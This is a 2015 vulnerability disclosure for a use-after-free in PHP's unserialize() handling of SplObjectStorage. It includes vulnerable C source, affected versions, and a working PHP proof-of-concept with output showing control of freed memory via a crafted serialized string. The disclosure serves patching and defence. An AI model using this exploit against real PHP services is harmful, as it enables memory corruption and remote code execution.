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PHP SplObjectStorage Use-After-Free

Posted on 09 August 2015

#Use After Free Vulnerability in unserialize() with SplObjectStorage

Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:
2015.7.30 - Release Date: 2015.8.7

> A use-after-free vulnerability was discovered in unserialize() with SplObjectStorage object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.12
Affected is PHP 5.5 < 5.5.28
Affected is PHP 5.4 < 5.4.44

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------

```
 if (*p!= 'x' || *++p != ':') {
 goto outexcept;
 }
 ++p;

 ALLOC_INIT_ZVAL(pcount);
 if (!php_var_unserialize(&pcount, &p, s + buf_len, &var_hash
TSRMLS_CC) || Z_TYPE_P(pcount) != IS_LONG) {
 goto outexcept;
 }

 ...

 /* members */
 if (*p!= 'm' || *++p != ':') {
 goto outexcept;
 }
 ++p;

 ALLOC_INIT_ZVAL(pmembers);
 if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash
TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) {
 zval_ptr_dtor(&pmembers);
 goto outexcept;
 }

 /* copy members */
 if (!intern->std.properties) {
 rebuild_object_properties(&intern->std);
 }
 zend_hash_copy(intern->std.properties, Z_ARRVAL_P(pmembers),
(copy_ctor_func_t) zval_add_ref, (void *) NULL, sizeof(zval *));
 zval_ptr_dtor(&pmembers); <=== free memory

 /* done reading $serialized */
 if (pcount) {
 zval_ptr_dtor(&pcount); <=== free memory
 }
 PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
 return;
```

The zval_ptr_dtor() leads to &pcount and &pmembers are freed from
memory. However the unserialize() will still allow to use R: or r: to
set references to that already freed memory. It is possible to
use-after-free attack and execute arbitrary code remotely.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.

```
<?php

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "x00x00x00x00";
$fakezval .= "x01";
$fakezval .= "x00";
$fakezval .= "x00x00";

$inner = 'x:i:0;m:a:0:{}';
$exploit = 'a:2:{i:0;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
 $v[$i] = $fakezval.$i;
}

var_dump($data);

function ptr2str($ptr)
{
 $out = "";
 for ($i = 0; $i < 8; $i++) {
 $out .= chr($ptr & 0xff);
 $ptr >>= 8;
 }
 return $out;
}

?>
```

Test the PoC on the command line:

```
$ php uafpoc.php
array(2) {
 [0]=>
 object(SplObjectStorage)#1 (1) {
 ["storage":"SplObjectStorage":private]=>
 array(0) {
 }
 }
 [1]=>
 int(1122334455) <=== so we can control the memory and create fake ZVAL :)
}
```

 

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